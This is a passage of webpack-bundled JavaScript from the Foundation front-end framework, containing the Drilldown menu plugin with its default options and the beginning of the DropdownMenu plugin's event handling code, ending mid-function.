_getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n/**\n * Drilldown module.\n * @module foundation.drilldown\n * @requires foundation.util.keyboard\n * @requires foundation.util.nest\n * @requires foundation.util.box\n */\n\nvar Drilldown =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(Drilldown, _Plugin);\n\n function Drilldown() {\n _classCallCheck(this, Drilldown);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(Drilldown).apply(this, arguments));\n }\n\n _createClass(Drilldown, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of a drilldown menu.\n * @class\n * @name Drilldown\n * @param {jQuery} element - jQuery object to make into an accordion menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, Drilldown.defaults, this.$element.data(), options);\n this.className = 'Drilldown'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].register('Drilldown', {\n 'ENTER': 'open',\n 'SPACE': 'open',\n 'ARROW_RIGHT': 'next',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'previous',\n 'ESCAPE': 'close',\n 'TAB': 'down',\n 'SHIFT_TAB': 'up'\n });\n }\n /**\n * Initializes the drilldown by creating jQuery collections of elements\n * @private\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Feather(this.$element, 'drilldown');\n\n if (this.options.autoApplyClass) {\n this.$element.addClass('drilldown');\n }\n\n this.$element.attr({\n 'role': 'tree',\n 'aria-multiselectable': false\n });\n this.$submenuAnchors = this.$element.find('li.is-drilldown-submenu-parent').children('a');\n this.$submenus = this.$submenuAnchors.parent('li').children('[data-submenu]').attr('role', 'group');\n this.$menuItems = this.$element.find('li').not('.js-drilldown-back').attr('role', 'treeitem').find('a'); // Set the main menu as current by default (unless a submenu is selected)\n // Used to set the wrapper height when the drilldown is closed/reopened from any (sub)menu\n\n this.$currentMenu = this.$element;\n this.$element.attr('data-mutate', this.$element.attr('data-drilldown') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"GetYoDigits\"])(6, 'drilldown'));\n\n this._prepareMenu();\n\n this._registerEvents();\n\n this._keyboardEvents();\n }\n /**\n * prepares drilldown menu by setting attributes to links and elements\n * sets a min height to prevent content jumping\n * wraps the element if not already wrapped\n * @private\n * @function\n */\n\n }, {\n key: \"_prepareMenu\",\n value: function _prepareMenu() {\n var _this = this; // if(!this.options.holdOpen){\n // this._menuLinkEvents();\n // }\n\n\n this.$submenuAnchors.each(function () {\n var $link = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n var $sub = $link.parent();\n\n if (_this.options.parentLink) {\n $link.clone().prependTo($sub.children('[data-submenu]')).wrap('
  • ');\n }\n\n $link.data('savedHref', $link.attr('href')).removeAttr('href').attr('tabindex', 0);\n $link.children('[data-submenu]').attr({\n 'aria-hidden': true,\n 'tabindex': 0,\n 'role': 'group'\n });\n\n _this._events($link);\n });\n this.$submenus.each(function () {\n var $menu = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $back = $menu.find('.js-drilldown-back');\n\n if (!$back.length) {\n switch (_this.options.backButtonPosition) {\n case \"bottom\":\n $menu.append(_this.options.backButton);\n break;\n\n case \"top\":\n $menu.prepend(_this.options.backButton);\n break;\n\n default:\n console.error(\"Unsupported backButtonPosition value '\" + _this.options.backButtonPosition + \"'\");\n }\n }\n\n _this._back($menu);\n });\n this.$submenus.addClass('invisible');\n\n if (!this.options.autoHeight) {\n this.$submenus.addClass('drilldown-submenu-cover-previous');\n } // create a wrapper on element if it doesn't exist.\n\n\n if (!this.$element.parent().hasClass('is-drilldown')) {\n this.$wrapper = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this.options.wrapper).addClass('is-drilldown');\n if (this.options.animateHeight) this.$wrapper.addClass('animate-height');\n this.$element.wrap(this.$wrapper);\n } // set wrapper\n\n\n this.$wrapper = this.$element.parent();\n this.$wrapper.css(this._getMaxDims());\n }\n }, {\n key: \"_resize\",\n value: function _resize() {\n this.$wrapper.css({\n 'max-width': 'none',\n 'min-height': 'none'\n }); // _getMaxDims has side effects (boo) but calling it should update all other necessary heights & widths\n\n this.$wrapper.css(this._getMaxDims());\n }\n /**\n * Adds event handlers to elements in the menu.\n * @function\n * @private\n * @param {jQuery} $elem - the current menu item to add handlers to.\n */\n\n }, {\n key: \"_events\",\n value: function _events($elem) {\n var _this = this;\n\n $elem.off('click.zf.drilldown').on('click.zf.drilldown', function (e) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', 'li').hasClass('is-drilldown-submenu-parent')) {\n e.stopImmediatePropagation();\n e.preventDefault();\n } // if(e.target !== e.currentTarget.firstElementChild){\n // return false;\n // }\n\n\n _this._show($elem.parent('li'));\n\n if (_this.options.closeOnClick) {\n var $body = jquery__WEBPACK_IMPORTED_MODULE_0___default()('body');\n $body.off('.zf.drilldown').on('click.zf.drilldown', function (e) {\n if (e.target === _this.$element[0] || jquery__WEBPACK_IMPORTED_MODULE_0___default.a.contains(_this.$element[0], e.target)) {\n return;\n }\n\n e.preventDefault();\n\n _this._hideAll();\n\n $body.off('.zf.drilldown');\n });\n }\n });\n }\n /**\n * Adds event handlers to the menu element.\n * @function\n * @private\n */\n\n }, {\n key: \"_registerEvents\",\n value: function _registerEvents() {\n if (this.options.scrollTop) {\n this._bindHandler = this._scrollTop.bind(this);\n this.$element.on('open.zf.drilldown hide.zf.drilldown closed.zf.drilldown', this._bindHandler);\n }\n\n this.$element.on('mutateme.zf.trigger', this._resize.bind(this));\n }\n /**\n * Scroll to Top of Element or data-scroll-top-element\n * @function\n * @fires Drilldown#scrollme\n */\n\n }, {\n key: \"_scrollTop\",\n value: function _scrollTop() {\n var _this = this;\n\n var $scrollTopElement = _this.options.scrollTopElement != '' ? jquery__WEBPACK_IMPORTED_MODULE_0___default()(_this.options.scrollTopElement) : _this.$element,\n scrollPos = parseInt($scrollTopElement.offset().top + _this.options.scrollTopOffset, 10);\n jquery__WEBPACK_IMPORTED_MODULE_0___default()('html, body').stop(true).animate({\n scrollTop: scrollPos\n }, _this.options.animationDuration, _this.options.animationEasing, function () {\n /**\n * Fires after the menu has scrolled\n * @event Drilldown#scrollme\n */\n if (this === jquery__WEBPACK_IMPORTED_MODULE_0___default()('html')[0]) _this.$element.trigger('scrollme.zf.drilldown');\n });\n }\n /**\n * Adds keydown event listener to `li`'s in the menu.\n * @private\n */\n\n }, {\n key: \"_keyboardEvents\",\n value: function _keyboardEvents() {\n var _this = this;\n\n this.$menuItems.add(this.$element.find('.js-drilldown-back > a, .is-submenu-parent-item > a')).on('keydown.zf.drilldown', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n $elements = $element.parent('li').parent('ul').children('li').children('a'),\n $prevElement,\n $nextElement;\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(Math.max(0, i - 1));\n $nextElement = $elements.eq(Math.min(i + 1, $elements.length - 1));\n return;\n }\n });\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_1__[\"Keyboard\"].handleKey(e, 'Drilldown', {\n next: function next() {\n if ($element.is(_this.$submenuAnchors)) {\n _this._show($element.parent('li'));\n\n $element.parent('li').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n $element.parent('li').find('ul li a').not('.js-drilldown-back a').first().focus();\n });\n return true;\n }\n },\n previous: function previous() {\n _this._hide($element.parent('li').parent('ul'));\n\n $element.parent('li').parent('ul').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n setTimeout(function () {\n $element.parent('li').parent('ul').parent('li').children('a').first().focus();\n }, 1);\n });\n return true;\n },\n up: function up() {\n $prevElement.focus(); // Don't tap focus on first element in root ul\n\n return !$element.is(_this.$element.find('> li:first-child > a'));\n },\n down: function down() {\n $nextElement.focus(); // Don't tap focus on last element in root ul\n\n return !$element.is(_this.$element.find('> li:last-child > a'));\n },\n close: function close() {\n // Don't close on element in root ul\n if (!$element.is(_this.$element.find('> li > a'))) {\n _this._hide($element.parent().parent());\n\n $element.parent().parent().siblings('a').focus();\n }\n },\n open: function open() {\n if (_this.options.parentLink && $element.attr('href')) {\n // Link with href\n return false;\n } else if (!$element.is(_this.$menuItems)) {\n // not menu item means back button\n _this._hide($element.parent('li').parent('ul'));\n\n $element.parent('li').parent('ul').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n setTimeout(function () {\n $element.parent('li').parent('ul').parent('li').children('a').first().focus();\n }, 1);\n });\n return true;\n } else if ($element.is(_this.$submenuAnchors)) {\n // Sub menu item\n _this._show($element.parent('li'));\n\n $element.parent('li').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($element), function () {\n $element.parent('li').find('ul li a').not('.js-drilldown-back a').first().focus();\n });\n return true;\n }\n },\n handled: function handled(preventDefault) {\n if (preventDefault) {\n e.preventDefault();\n }\n\n e.stopImmediatePropagation();\n }\n });\n }); // end keyboardAccess\n }\n /**\n * Closes all open elements, and returns to root menu.\n * @function\n * @fires Drilldown#closed\n */\n\n }, {\n key: \"_hideAll\",\n value: function _hideAll() {\n var $elem = this.$element.find('.is-drilldown-submenu.is-active').addClass('is-closing');\n if (this.options.autoHeight) this.$wrapper.css({\n height: $elem.parent().closest('ul').data('calcHeight')\n });\n $elem.one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($elem), function (e) {\n $elem.removeClass('is-active is-closing');\n });\n /**\n * Fires when the menu is fully closed.\n * @event Drilldown#closed\n */\n\n this.$element.trigger('closed.zf.drilldown');\n }\n /**\n * Adds event listener for each `back` button, and closes open menus.\n * @function\n * @fires Drilldown#back\n * @param {jQuery} $elem - the current sub-menu to add `back` event.\n */\n\n }, {\n key: \"_back\",\n value: function _back($elem) {\n var _this = this;\n\n $elem.off('click.zf.drilldown');\n $elem.children('.js-drilldown-back').on('click.zf.drilldown', function (e) {\n e.stopImmediatePropagation(); // console.log('mouseup on back');\n\n _this._hide($elem); // If there is a parent submenu, call show\n\n\n var parentSubMenu = $elem.parent('li').parent('ul').parent('li');\n\n if (parentSubMenu.length) {\n _this._show(parentSubMenu);\n }\n });\n }\n /**\n * Adds event listener to menu items w/o submenus to close open menus on click.\n * @function\n * @private\n */\n\n }, {\n key: \"_menuLinkEvents\",\n value: function _menuLinkEvents() {\n var _this = this;\n\n this.$menuItems.not('.is-drilldown-submenu-parent').off('click.zf.drilldown').on('click.zf.drilldown', function (e) {\n // e.stopImmediatePropagation();\n setTimeout(function () {\n _this._hideAll();\n }, 0);\n });\n }\n /**\n * Sets the CSS classes for submenu to show it.\n * @function\n * @private\n * @param {jQuery} $elem - the target submenu (`ul` tag)\n * @param {boolean} trigger - trigger drilldown event\n */\n\n }, {\n key: \"_setShowSubMenuClasses\",\n value: function _setShowSubMenuClasses($elem, trigger) {\n $elem.addClass('is-active').removeClass('invisible').attr('aria-hidden', false);\n $elem.parent('li').attr('aria-expanded', true);\n\n if (trigger === true) {\n this.$element.trigger('open.zf.drilldown', [$elem]);\n }\n }\n /**\n * Sets the CSS classes for submenu to hide it.\n * @function\n * @private\n * @param {jQuery} $elem - the target submenu (`ul` tag)\n * @param {boolean} trigger - trigger drilldown event\n */\n\n }, {\n key: \"_setHideSubMenuClasses\",\n value: function _setHideSubMenuClasses($elem, trigger) {\n $elem.removeClass('is-active').addClass('invisible').attr('aria-hidden', true);\n $elem.parent('li').attr('aria-expanded', false);\n\n if (trigger === true) {\n $elem.trigger('hide.zf.drilldown', [$elem]);\n }\n }\n /**\n * Opens a specific drilldown (sub)menu no matter which (sub)menu in it is currently visible.\n * Compared to _show() this lets you jump into any submenu without clicking through every submenu on the way to it.\n * @function\n * @fires Drilldown#open\n * @param {jQuery} $elem - the target (sub)menu (`ul` tag)\n * @param {boolean} autoFocus - if true the first link in the target (sub)menu gets auto focused\n */\n\n }, {\n key: \"_showMenu\",\n value: function _showMenu($elem, autoFocus) {\n var _this = this; // Reset drilldown\n\n\n var $expandedSubmenus = this.$element.find('li[aria-expanded=\"true\"] > ul[data-submenu]');\n $expandedSubmenus.each(function (index) {\n _this._setHideSubMenuClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this));\n }); // Save the menu as the currently displayed one.\n\n this.$currentMenu = $elem; // If target menu is root, focus first link & exit\n\n if ($elem.is('[data-drilldown]')) {\n if (autoFocus === true) $elem.find('li[role=\"treeitem\"] > a').first().focus();\n if (this.options.autoHeight) this.$wrapper.css('height', $elem.data('calcHeight'));\n return;\n } // Find all submenus on way to root incl. the element itself\n\n\n var $submenus = $elem.children().first().parentsUntil('[data-drilldown]', '[data-submenu]'); // Open target menu and all submenus on its way to root\n\n $submenus.each(function (index) {\n // Update height of first child (target menu) if autoHeight option true\n if (index === 0 && _this.options.autoHeight) {\n _this.$wrapper.css('height', jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('calcHeight'));\n }\n\n var isLastChild = index == $submenus.length - 1; // Add transitionsend listener to last child (root due to reverse order) to open target menu's first link\n // Last child makes sure the event gets always triggered even if going through several menus\n\n if (isLastChild === true) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this)), function () {\n if (autoFocus === true) {\n $elem.find('li[role=\"treeitem\"] > a').first().focus();\n }\n });\n }\n\n _this._setShowSubMenuClasses(jquery__WEBPACK_IMPORTED_MODULE_0___default()(this), isLastChild);\n });\n }\n /**\n * Opens a submenu.\n * @function\n * @fires Drilldown#open\n * @param {jQuery} $elem - the current element with a submenu to open, i.e. the `li` tag.\n */\n\n }, {\n key: \"_show\",\n value: function _show($elem) {\n var $submenu = $elem.children('[data-submenu]');\n $elem.attr('aria-expanded', true);\n this.$currentMenu = $submenu;\n $submenu.addClass('is-active').removeClass('invisible').attr('aria-hidden', false);\n\n if (this.options.autoHeight) {\n this.$wrapper.css({\n height: $submenu.data('calcHeight')\n });\n }\n /**\n * Fires when the submenu has opened.\n * @event Drilldown#open\n */\n\n\n this.$element.trigger('open.zf.drilldown', [$elem]);\n }\n /**\n * Hides a submenu\n * @function\n * @fires Drilldown#hide\n * @param {jQuery} $elem - the current sub-menu to hide, i.e. the `ul` tag.\n */\n\n }, {\n key: \"_hide\",\n value: function _hide($elem) {\n if (this.options.autoHeight) this.$wrapper.css({\n height: $elem.parent().closest('ul').data('calcHeight')\n });\n\n var _this = this;\n\n $elem.parent('li').attr('aria-expanded', false);\n $elem.attr('aria-hidden', true);\n $elem.addClass('is-closing').one(Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_3__[\"transitionend\"])($elem), function () {\n $elem.removeClass('is-active is-closing');\n $elem.blur().addClass('invisible');\n });\n /**\n * Fires when the submenu has closed.\n * @event Drilldown#hide\n */\n\n $elem.trigger('hide.zf.drilldown', [$elem]);\n }\n /**\n * Iterates through the nested menus to calculate the min-height, and max-width for the menu.\n * Prevents content jumping.\n * @function\n * @private\n */\n\n }, {\n key: \"_getMaxDims\",\n value: function _getMaxDims() {\n var maxHeight = 0,\n result = {},\n _this = this; // Recalculate menu heights and total max height\n\n\n this.$submenus.add(this.$element).each(function () {\n var numOfElems = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).children('li').length;\n var height = _foundation_util_box__WEBPACK_IMPORTED_MODULE_4__[\"Box\"].GetDimensions(this).height;\n maxHeight = height > maxHeight ? height : maxHeight;\n\n if (_this.options.autoHeight) {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).data('calcHeight', height);\n }\n });\n if (this.options.autoHeight) result['height'] = this.$currentMenu.data('calcHeight');else result['min-height'] = \"\".concat(maxHeight, \"px\");\n result['max-width'] = \"\".concat(this.$element[0].getBoundingClientRect().width, \"px\");\n return result;\n }\n /**\n * Destroys the Drilldown Menu\n * @function\n */\n\n }, {\n key: \"_destroy\",\n value: function _destroy() {\n if (this.options.scrollTop) this.$element.off('.zf.drilldown', this._bindHandler);\n\n this._hideAll();\n\n this.$element.off('mutateme.zf.trigger');\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_2__[\"Nest\"].Burn(this.$element, 'drilldown');\n this.$element.unwrap().find('.js-drilldown-back, .is-submenu-parent-item').remove().end().find('.is-active, .is-closing, .is-drilldown-submenu').removeClass('is-active is-closing is-drilldown-submenu').end().find('[data-submenu]').removeAttr('aria-hidden tabindex role');\n this.$submenuAnchors.each(function () {\n jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).off('.zf.drilldown');\n });\n this.$element.find('[data-is-parent-link]').detach();\n this.$submenus.removeClass('drilldown-submenu-cover-previous invisible');\n this.$element.find('a').each(function () {\n var $link = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this);\n $link.removeAttr('tabindex');\n\n if ($link.data('savedHref')) {\n $link.attr('href', $link.data('savedHref')).removeData('savedHref');\n } else {\n return;\n }\n });\n }\n }]);\n\n return Drilldown;\n}(_foundation_core_plugin__WEBPACK_IMPORTED_MODULE_5__[\"Plugin\"]);\n\nDrilldown.defaults = {\n /**\n * Drilldowns depend on styles in order to function properly; in the default build of Foundation these are\n * on the `drilldown` class. This option auto-applies this class to the drilldown upon initialization.\n * @option\n * @type {boolian}\n * @default true\n */\n autoApplyClass: true,\n\n /**\n * Markup used for JS generated back button. Prepended or appended (see backButtonPosition) to submenu lists and deleted on `destroy` method, 'js-drilldown-back' class required. Remove the backslash (`\\`) if copy and pasting.\n * @option\n * @type {string}\n * @default '
  • Back
  • '\n */\n backButton: '
  • Back
  • ',\n\n /**\n * Position the back button either at the top or bottom of drilldown submenus. Can be `'left'` or `'bottom'`.\n * @option\n * @type {string}\n * @default top\n */\n backButtonPosition: 'top',\n\n /**\n * Markup used to wrap drilldown menu. Use a class name for independent styling; the JS applied class: `is-drilldown` is required. Remove the backslash (`\\`) if copy and pasting.\n * @option\n * @type {string}\n * @default '
    '\n */\n wrapper: '
    ',\n\n /**\n * Adds the parent link to the submenu.\n * @option\n * @type {boolean}\n * @default false\n */\n parentLink: false,\n\n /**\n * Allow the menu to return to root list on body click.\n * @option\n * @type {boolean}\n * @default false\n */\n closeOnClick: false,\n\n /**\n * Allow the menu to auto adjust height.\n * @option\n * @type {boolean}\n * @default false\n */\n autoHeight: false,\n\n /**\n * Animate the auto adjust height.\n * @option\n * @type {boolean}\n * @default false\n */\n animateHeight: false,\n\n /**\n * Scroll to the top of the menu after opening a submenu or navigating back using the menu back button\n * @option\n * @type {boolean}\n * @default false\n */\n scrollTop: false,\n\n /**\n * String jquery selector (for example 'body') of element to take offset().top from, if empty string the drilldown menu offset().top is taken\n * @option\n * @type {string}\n * @default ''\n */\n scrollTopElement: '',\n\n /**\n * ScrollTop offset\n * @option\n * @type {number}\n * @default 0\n */\n scrollTopOffset: 0,\n\n /**\n * Scroll animation duration\n * @option\n * @type {number}\n * @default 500\n */\n animationDuration: 500,\n\n /**\n * Scroll animation easing. Can be `'swing'` or `'linear'`.\n * @option\n * @type {string}\n * @see {@link https://api.jquery.com/animate|JQuery animate}\n * @default 'swing'\n */\n animationEasing: 'swing' // holdOpen: false\n\n};\n\n\n//# sourceURL=webpack:///./js/foundation.drilldown.js?")},"./js/foundation.dropdownMenu.js":function(module,__webpack_exports__,__webpack_require__){"use strict";eval("__webpack_require__.r(__webpack_exports__);\n/* harmony export (binding) */ __webpack_require__.d(__webpack_exports__, \"DropdownMenu\", function() { return DropdownMenu; });\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0__ = __webpack_require__(/*! jquery */ \"jquery\");\n/* harmony import */ var jquery__WEBPACK_IMPORTED_MODULE_0___default = /*#__PURE__*/__webpack_require__.n(jquery__WEBPACK_IMPORTED_MODULE_0__);\n/* harmony import */ var _foundation_core_plugin__WEBPACK_IMPORTED_MODULE_1__ = __webpack_require__(/*! ./foundation.core.plugin */ \"./js/foundation.core.plugin.js\");\n/* harmony import */ var _foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__ = __webpack_require__(/*! ./foundation.core.utils */ \"./js/foundation.core.utils.js\");\n/* harmony import */ var _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__ = __webpack_require__(/*! ./foundation.util.keyboard */ \"./js/foundation.util.keyboard.js\");\n/* harmony import */ var _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__ = __webpack_require__(/*! ./foundation.util.nest */ \"./js/foundation.util.nest.js\");\n/* harmony import */ var _foundation_util_box__WEBPACK_IMPORTED_MODULE_5__ = __webpack_require__(/*! ./foundation.util.box */ \"./js/foundation.util.box.js\");\n\n\nfunction _typeof(obj) { if (typeof Symbol === \"function\" && typeof Symbol.iterator === \"symbol\") { _typeof = function _typeof(obj) { return typeof obj; }; } else { _typeof = function _typeof(obj) { return obj && typeof Symbol === \"function\" && obj.constructor === Symbol && obj !== Symbol.prototype ? \"symbol\" : typeof obj; }; } return _typeof(obj); }\n\nfunction _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError(\"Cannot call a class as a function\"); } }\n\nfunction _defineProperties(target, props) { for (var i = 0; i < props.length; i++) { var descriptor = props[i]; descriptor.enumerable = descriptor.enumerable || false; descriptor.configurable = true; if (\"value\" in descriptor) descriptor.writable = true; Object.defineProperty(target, descriptor.key, descriptor); } }\n\nfunction _createClass(Constructor, protoProps, staticProps) { if (protoProps) _defineProperties(Constructor.prototype, protoProps); if (staticProps) _defineProperties(Constructor, staticProps); return Constructor; }\n\nfunction _possibleConstructorReturn(self, call) { if (call && (_typeof(call) === \"object\" || typeof call === \"function\")) { return call; } return _assertThisInitialized(self); }\n\nfunction _assertThisInitialized(self) { if (self === void 0) { throw new ReferenceError(\"this hasn't been initialised - super() hasn't been called\"); } return self; }\n\nfunction _getPrototypeOf(o) { _getPrototypeOf = Object.setPrototypeOf ? Object.getPrototypeOf : function _getPrototypeOf(o) { return o.__proto__ || Object.getPrototypeOf(o); }; return _getPrototypeOf(o); }\n\nfunction _inherits(subClass, superClass) { if (typeof superClass !== \"function\" && superClass !== null) { throw new TypeError(\"Super expression must either be null or a function\"); } subClass.prototype = Object.create(superClass && superClass.prototype, { constructor: { value: subClass, writable: true, configurable: true } }); if (superClass) _setPrototypeOf(subClass, superClass); }\n\nfunction _setPrototypeOf(o, p) { _setPrototypeOf = Object.setPrototypeOf || function _setPrototypeOf(o, p) { o.__proto__ = p; return o; }; return _setPrototypeOf(o, p); }\n\n\n\n\n\n\n\n/**\n * DropdownMenu module.\n * @module foundation.dropdown-menu\n * @requires foundation.util.keyboard\n * @requires foundation.util.box\n * @requires foundation.util.nest\n */\n\nvar DropdownMenu =\n/*#__PURE__*/\nfunction (_Plugin) {\n _inherits(DropdownMenu, _Plugin);\n\n function DropdownMenu() {\n _classCallCheck(this, DropdownMenu);\n\n return _possibleConstructorReturn(this, _getPrototypeOf(DropdownMenu).apply(this, arguments));\n }\n\n _createClass(DropdownMenu, [{\n key: \"_setup\",\n\n /**\n * Creates a new instance of DropdownMenu.\n * @class\n * @name DropdownMenu\n * @fires DropdownMenu#init\n * @param {jQuery} element - jQuery object to make into a dropdown menu.\n * @param {Object} options - Overrides to the default plugin settings.\n */\n value: function _setup(element, options) {\n this.$element = element;\n this.options = jquery__WEBPACK_IMPORTED_MODULE_0___default.a.extend({}, DropdownMenu.defaults, this.$element.data(), options);\n this.className = 'DropdownMenu'; // ie9 back compat\n\n this._init();\n\n _foundation_util_keyboard__WEBPACK_IMPORTED_MODULE_3__[\"Keyboard\"].register('DropdownMenu', {\n 'ENTER': 'open',\n 'SPACE': 'open',\n 'ARROW_RIGHT': 'next',\n 'ARROW_UP': 'up',\n 'ARROW_DOWN': 'down',\n 'ARROW_LEFT': 'previous',\n 'ESCAPE': 'close'\n });\n }\n /**\n * Initializes the plugin, and calls _prepareMenu\n * @private\n * @function\n */\n\n }, {\n key: \"_init\",\n value: function _init() {\n _foundation_util_nest__WEBPACK_IMPORTED_MODULE_4__[\"Nest\"].Feather(this.$element, 'dropdown');\n var subs = this.$element.find('li.is-dropdown-submenu-parent');\n this.$element.children('.is-dropdown-submenu-parent').children('.is-dropdown-submenu').addClass('first-sub');\n this.$menuItems = this.$element.find('[role=\"menuitem\"]');\n this.$tabs = this.$element.children('[role=\"menuitem\"]');\n this.$tabs.find('ul.is-dropdown-submenu').addClass(this.options.verticalClass);\n\n if (this.options.alignment === 'auto') {\n if (this.$element.hasClass(this.options.rightClass) || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"rtl\"])() || this.$element.parents('.top-bar-right').is('*')) {\n this.options.alignment = 'right';\n subs.addClass('opens-left');\n } else {\n this.options.alignment = 'left';\n subs.addClass('opens-right');\n }\n } else {\n if (this.options.alignment === 'right') {\n subs.addClass('opens-left');\n } else {\n subs.addClass('opens-right');\n }\n }\n\n this.changed = false;\n\n this._events();\n }\n }, {\n key: \"_isVertical\",\n value: function _isVertical() {\n return this.$tabs.css('display') === 'block' || this.$element.css('flex-direction') === 'column';\n }\n }, {\n key: \"_isRtl\",\n value: function _isRtl() {\n return this.$element.hasClass('align-right') || Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"rtl\"])() && !this.$element.hasClass('align-left');\n }\n /**\n * Adds event listeners to elements within the menu\n * @private\n * @function\n */\n\n }, {\n key: \"_events\",\n value: function _events() {\n var _this = this,\n hasTouch = 'ontouchstart' in window || typeof window.ontouchstart !== 'undefined',\n parClass = 'is-dropdown-submenu-parent'; // used for onClick and in the keyboard handlers\n\n\n var handleClickFn = function handleClickFn(e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', \".\".concat(parClass)),\n hasSub = $elem.hasClass(parClass),\n hasClicked = $elem.attr('data-is-click') === 'true',\n $sub = $elem.children('.is-dropdown-submenu');\n\n if (hasSub) {\n if (hasClicked) {\n if (!_this.options.closeOnClick || !_this.options.clickOpen && !hasTouch || _this.options.forceFollow && hasTouch) {\n return;\n } else {\n e.stopImmediatePropagation();\n e.preventDefault();\n\n _this._hide($elem);\n }\n } else {\n e.preventDefault();\n e.stopImmediatePropagation();\n\n _this._show($sub);\n\n $elem.add($elem.parentsUntil(_this.$element, \".\".concat(parClass))).attr('data-is-click', true);\n }\n }\n };\n\n if (this.options.clickOpen || hasTouch) {\n this.$menuItems.on('click.zf.dropdownmenu touchstart.zf.dropdownmenu', handleClickFn);\n } // Handle Leaf element Clicks\n\n\n if (_this.options.closeOnClickInside) {\n this.$menuItems.on('click.zf.dropdownmenu', function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (!hasSub) {\n _this._hide();\n }\n });\n }\n\n if (!this.options.disableHover) {\n this.$menuItems.on('mouseenter.zf.dropdownmenu', function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (hasSub) {\n clearTimeout($elem.data('_delay'));\n $elem.data('_delay', setTimeout(function () {\n _this._show($elem.children('.is-dropdown-submenu'));\n }, _this.options.hoverDelay));\n }\n }).on('mouseleave.zf.dropdownMenu', Object(_foundation_core_utils__WEBPACK_IMPORTED_MODULE_2__[\"ignoreMousedisappear\"])(function (e) {\n var $elem = jquery__WEBPACK_IMPORTED_MODULE_0___default()(this),\n hasSub = $elem.hasClass(parClass);\n\n if (hasSub && _this.options.autoclose) {\n if ($elem.attr('data-is-click') === 'true' && _this.options.clickOpen) {\n return false;\n }\n\n clearTimeout($elem.data('_delay'));\n $elem.data('_delay', setTimeout(function () {\n _this._hide($elem);\n }, _this.options.closingTime));\n }\n }));\n }\n\n this.$menuItems.on('keydown.zf.dropdownmenu', function (e) {\n var $element = jquery__WEBPACK_IMPORTED_MODULE_0___default()(e.target).parentsUntil('ul', '[role=\"menuitem\"]'),\n isTab = _this.$tabs.index($element) > -1,\n $elements = isTab ? _this.$tabs : $element.siblings('li').add($element),\n $prevElement,\n $nextElement;\n $elements.each(function (i) {\n if (jquery__WEBPACK_IMPORTED_MODULE_0___default()(this).is($element)) {\n $prevElement = $elements.eq(i - 1);\n $nextElement = $elements.eq(i + 1);\n return;\n }\n });\n\n var nextSibling = function nextSibling() {\n $nextElement.children('a:first').focus();\n e.preventDefault();\n },\n prevSibling = function prevSibling() {\n $prevElement.children('a:first').focus();\n e.preventDefault();\n },\n openSub = function openSub() {\n var $sub = $element.children('ul.is-dropdown-submenu');\n\n if ($sub.length) {\n _this._show($sub);\n\n $element.find('li > a:first').focus();\n e.preventDefault();\n } else {\n return;\n }\n },\n closeSub = function closeSub() {\n //if ($element.is(':first-child')) {\n var close = $element.parent('ul').parent('li');\n close.children('a:first').focus();\n\n 